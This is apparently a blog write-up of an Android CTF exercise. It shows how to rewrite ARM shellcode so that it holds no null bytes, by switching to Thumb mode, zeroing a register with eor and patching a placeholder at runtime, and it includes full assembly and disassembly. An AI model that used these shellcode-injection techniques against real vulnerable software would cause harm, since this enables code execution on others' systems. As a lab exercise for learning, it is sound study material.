DEV Community

wireless90
wireless90

Posted on • Updated on

Nullifying Shellcode [Android Internals CTF Ex5]

Get the executable here

  • Our task is to write a shellcode which writes '1' to /data/local/tmp/is_admin.
  • This time, it must not contain null bytes.
  • Run a.out with path as a parameter to your shellcode.
  • Do not reverse a.out

In the previous exercise, we had a working shellcode.

Firstly, lets try to feed that shellcode.bin into our new a.out.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ adb push a.out /data/local/tmp
a.out: 1 file pushed. 0.0 MB/s (44620 bytes in 1.975s)

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ adb shell                     
shell@hammerhead:/ $ su
root@hammerhead:/ # cd /data/local/tmp 
root@hammerhead:/data/local/tmp # chmod +x a.out
root@hammerhead:/data/local/tmp # ./a.out shellcode.bin
executing shellcode
[1] + Stopped (signal)     ./a.out shellcode.bin 
Enter fullscreen mode Exit fullscreen mode

We get an error!

As the instruction suggests, our shellcode should not have any null bytes. Lets take a look at our current shellcode contents.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ xxd shellcode.bin
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef  0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3  ..-.....!.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3  .p...........p..
00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e  ....../.is_admin
00000040: 0031 0000                                .1..

Enter fullscreen mode Exit fullscreen mode

We can see that there are lots of null bytes, 00. In c programming, null bytes terminate strings. I suspect a.out to be using some kind of string functions to read our shellcode which then terminates the moment it sees a null byte.

I have edited our commands.sh from the previous exercise, to include extracting out our shellcode.bin and pushing it to our android device.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ vim commands.sh 
Enter fullscreen mode Exit fullscreen mode
export ndk=/home/razali/Downloads/android-ndk-r21e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin

$ndk/as shellcode.s -o shellcode.o
$ndk/ld shellcode.o -o shellcode
$ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin

echo "==============OBJDUMP OUTPUT=========================="
$ndk/objdump -d shellcode.o

echo "==============XXD OUTPUT=========================="
xxd shellcode.bin

adb push ./shellcode.bin /data/local/tmp

Enter fullscreen mode Exit fullscreen mode

Lets run command.sh.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f0030        add     r0, pc, #48     ; 0x30
   4:   e3a01001        mov     r1, #1
   8:   e3a07008        mov     r7, #8
   c:   ef000000        svc     0x00000000
  10:   e52d0004        push    {r0}            ; (str r0, [sp, #-4]!)

00000014 <write>:
  14:   e1a00000        nop                     ; (mov r0, r0)
  18:   e28f1021        add     r1, pc, #33     ; 0x21
  1c:   e3a02001        mov     r2, #1
  20:   e3a07004        mov     r7, #4
  24:   ef000000        svc     0x00000000

00000028 <close>:
  28:   e49d0004        pop     {r0}            ; (ldr r0, [sp], #4)
  2c:   e3a07006        mov     r7, #6
  30:   ef000000        svc     0x00000000

00000034 <branch>:
  34:   e12fff1e        bx      lr

00000038 <filename>:
  38:   615f7369        .word   0x615f7369
  3c:   6e696d64        .word   0x6e696d64
        ...

00000041 <toWrite>:
  41:   0031            .short  0x0031
        ...
==============XXD OUTPUT==========================
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef  0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3  ..-.....!.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3  .p...........p..
00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e  ....../.is_admin
00000040: 0031 0000                                .1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)

Enter fullscreen mode Exit fullscreen mode

We can see that all the svc #0 instructions produces a lot of null bytes, ef000000. Let's use svc #0xffffff instead to fill up the zeroes.

Now we get,

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh  
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f0030        add     r0, pc, #48     ; 0x30
   4:   e3a01001        mov     r1, #1
   8:   e3a07008        mov     r7, #8
   c:   efffffff        svc     0x00ffffff
  10:   e52d0004        push    {r0}            ; (str r0, [sp, #-4]!)

00000014 <write>:
  14:   e1a00000        nop                     ; (mov r0, r0)
  18:   e28f1021        add     r1, pc, #33     ; 0x21
  1c:   e3a02001        mov     r2, #1
  20:   e3a07004        mov     r7, #4
  24:   efffffff        svc     0x00ffffff

00000028 <close>:
  28:   e49d0004        pop     {r0}            ; (ldr r0, [sp], #4)
  2c:   e3a07006        mov     r7, #6
  30:   efffffff        svc     0x00ffffff

00000034 <branch>:
  34:   e12fff1e        bx      lr

00000038 <filename>:
  38:   615f7369        .word   0x615f7369
  3c:   6e696d64        .word   0x6e696d64
        ...

00000041 <toWrite>:
  41:   0031            .short  0x0031
        ...
==============XXD OUTPUT==========================
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 ffff ffef  0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3  ..-.....!.... ..
00000020: 0470 a0e3 ffff ffef 0400 9de4 0670 a0e3  .p...........p..
00000030: ffff ffef 1eff 2fe1 6973 5f61 646d 696e  ....../.is_admin
00000040: 0031 0000                                .1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)

Enter fullscreen mode Exit fullscreen mode

If we take a look at our filename,

file_name: .asciz "is_admin"
Enter fullscreen mode Exit fullscreen mode

it produces the null byte at offset 0x41 as seen below.

00000038 <filename>:
  38:   615f7369        .word   0x615f7369
  3c:   6e696d64        .word   0x6e696d64
        ...

00000041 <toWrite>:
  41:   0031            .short  0x0031
Enter fullscreen mode Exit fullscreen mode

This is because, .asciz is a null terminated string thus file_name: .asciz "is_admin" produces "is_admin\0", which is null terminated.

We will need to put a dummy character, and replace it with a null byte at run time.

We can easily get a #0 by exor-ing 2 values as such.

eor r2, r2
Enter fullscreen mode Exit fullscreen mode

Now r2 contains #0.

Then we can define our file name to be
file_name: .ascii "is_adminX".

Note the use of .ascii instead of .asciz. Now our string has no null bytes, but we have a big X that we need to replace. We can do that with the strb instruction.

So the code would look like.

eor r2, r2 //R2 now is #0
adr r3, file_name
strb r2, [r3, #8] //Replace the 9th character with a null
file_name: .ascii "is_adminX"
Enter fullscreen mode Exit fullscreen mode

Our overall code now looks like

.section .text
.global _start

_start:

create:
        eor r2, r2 //R2 inow is #0
        adr r0, filename
        strb r2, [r0, #8]
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0xffffff

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        mov r0, r0 //r0 already contains the file descriptor
        adr r1, toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #0xffffff

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #0xffffff


branch:
        //end of this function, lets branch back
        bx lr


filename:
        .ascii "is_adminX"

toWrite:
        .ascii "1"

Enter fullscreen mode Exit fullscreen mode

Lets take a look at the objdump now.

==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e0222002        eor     r2, r2, r2
   4:   e28f0034        add     r0, pc, #52     ; 0x34
   8:   e5c02008        strb    r2, [r0, #8]
   c:   e3a01001        mov     r1, #1
  10:   e3a07008        mov     r7, #8
  14:   efffffff        svc     0x00ffffff
  18:   e52d0004        push    {r0}            ; (str r0, [sp, #-4]!)

0000001c <write>:
  1c:   e1a00000        nop                     ; (mov r0, r0)
  20:   e28f1021        add     r1, pc, #33     ; 0x21
  24:   e3a02001        mov     r2, #1
  28:   e3a07004        mov     r7, #4
  2c:   efffffff        svc     0x00ffffff

00000030 <close>:
  30:   e49d0004        pop     {r0}            ; (ldr r0, [sp], #4)
  34:   e3a07006        mov     r7, #6
  38:   efffffff        svc     0x00ffffff

0000003c <branch>:
  3c:   e12fff1e        bx      lr

00000040 <filename>:
  40:   615f7369        .word   0x615f7369
  44:   6e696d64        .word   0x6e696d64
  48:   58              .byte   0x58

00000049 <toWrite>:
  49:   31              .byte   0x31
        ...
==============XXD OUTPUT==========================
00000000: 0220 22e0 3400 8fe2 0820 c0e5 0110 a0e3  . ".4.... ......
00000010: 0870 a0e3 ffff ffef 0400 2de5 0000 a0e1  .p........-.....
00000020: 2110 8fe2 0120 a0e3 0470 a0e3 ffff ffef  !.... ...p......
00000030: 0400 9de4 0670 a0e3 ffff ffef 1eff 2fe1  .....p......../.
00000040: 6973 5f61 646d 696e 5831 0000            is_adminX1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (76 bytes in 0.287s)

Enter fullscreen mode Exit fullscreen mode

Our, add, push, and pop commands still have null bytes. To make shellcoding easier, its better to use the thumb mode. arm instructions are 4 bytes and thumb instructions are 2 to 4 bytes long, therefore reducing the chance of us having a null byte.

To switch to the thumb instruction, we simply need to add #1 to our program counter and branch to it. Also do note that svc #0xffffff is not supported in thumb. Simply do svc #1 and you would not see the null byte in the thumb instruction set anymore.

The final code would look something like...


.section .text
.global _start

_start:
        eor r2, r2 //R2 inow is #0

thumbMode:
        add r1, pc, #1
        bx r1
create:

.code 16
        adr r0, filename
        strb r2, [r0, #8]
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #1

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        //mov r0, r0 ------- r0 already contains the file descriptor
        adr r1, toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #1

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #1


branch:
        //end of this function, lets branch back
        bx lr

.align 2
filename:
        .ascii "is_adminX"

.align 2
toWrite:
        .ascii "1"
Enter fullscreen mode Exit fullscreen mode

Lets compile it and view the bin.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e0222002        eor     r2, r2, r2

00000004 <thumbMode>:
   4:   e28f1001        add     r1, pc, #1
   8:   e12fff11        bx      r1

0000000c <create>:
   c:   a006            add     r0, pc, #24     ; (adr r0, 28 <filename>)
   e:   7202            strb    r2, [r0, #8]
  10:   2101            movs    r1, #1
  12:   2708            movs    r7, #8
  14:   df01            svc     1
  16:   b401            push    {r0}

00000018 <write>:
  18:   a106            add     r1, pc, #24     ; (adr r1, 34 <toWrite>)
  1a:   2201            movs    r2, #1
  1c:   2704            movs    r7, #4
  1e:   df01            svc     1

00000020 <close>:
  20:   bc01            pop     {r0}
  22:   2706            movs    r7, #6
  24:   df01            svc     1

00000026 <branch>:
  26:   4770            bx      lr

00000028 <filename>:
  28:   615f7369        .word   0x615f7369
  2c:   6e696d64        .word   0x6e696d64
  30:   58              .byte   0x58
  31:   00              .byte   0x00
  32:   46c0            nop                     ; (mov r8, r8)

00000034 <toWrite>:
  34:   31              .byte   0x31
  35:   00              .byte   0x00
  36:   46c0            nop                     ; (mov r8, r8)
==============XXD OUTPUT==========================
00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272  . "......./....r
00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df  .!.'.......".'..
00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e  ...'..pGis_admin
00000030: 5800 c046 3100 c046                      X..F1..F
./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.303s)
Enter fullscreen mode Exit fullscreen mode

Great we are so close. Look at offset 0x31 now, due to alignment padding with our .align 2, the compiler has added an extra null byte. Lets simply remove this with adding our own extra character.

Change

.align 2
filename:
        .ascii "is_adminX"
Enter fullscreen mode Exit fullscreen mode

to

.align 2
filename:
        .ascii "is_adminXX"  //Added extra X
Enter fullscreen mode Exit fullscreen mode

Now lets take a look at our output again.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh  
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e0222002        eor     r2, r2, r2

00000004 <thumbMode>:
   4:   e28f1001        add     r1, pc, #1
   8:   e12fff11        bx      r1

0000000c <create>:
   c:   a006            add     r0, pc, #24     ; (adr r0, 28 <filename>)
   e:   7202            strb    r2, [r0, #8]
  10:   2101            movs    r1, #1
  12:   2708            movs    r7, #8
  14:   df01            svc     1
  16:   b401            push    {r0}

00000018 <write>:
  18:   a106            add     r1, pc, #24     ; (adr r1, 34 <toWrite>)
  1a:   2201            movs    r2, #1
  1c:   2704            movs    r7, #4
  1e:   df01            svc     1

00000020 <close>:
  20:   bc01            pop     {r0}
  22:   2706            movs    r7, #6
  24:   df01            svc     1

00000026 <branch>:
  26:   4770            bx      lr

00000028 <filename>:
  28:   615f7369        .word   0x615f7369
  2c:   6e696d64        .word   0x6e696d64
  30:   5858            .short  0x5858
  32:   46c0            nop                     ; (mov r8, r8)

00000034 <toWrite>:
  34:   31              .byte   0x31
  35:   00              .byte   0x00
  36:   46c0            nop                     ; (mov r8, r8)
==============XXD OUTPUT==========================
00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272  . "......./....r
00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df  .!.'.......".'..
00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e  ...'..pGis_admin
00000030: 5858 c046 3100 c046                      XX.F1..F
./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.304s)

Enter fullscreen mode Exit fullscreen mode

Great no more null bytes(ignore the end null bytes).

Lets head back to our android device and run our shellcode.bin.

root@hammerhead:/data/local/tmp # ./a.out shellcode.bin                        
executing shellcode
You did it!
The flag is: "nununu"
Enter fullscreen mode Exit fullscreen mode

Top comments (0)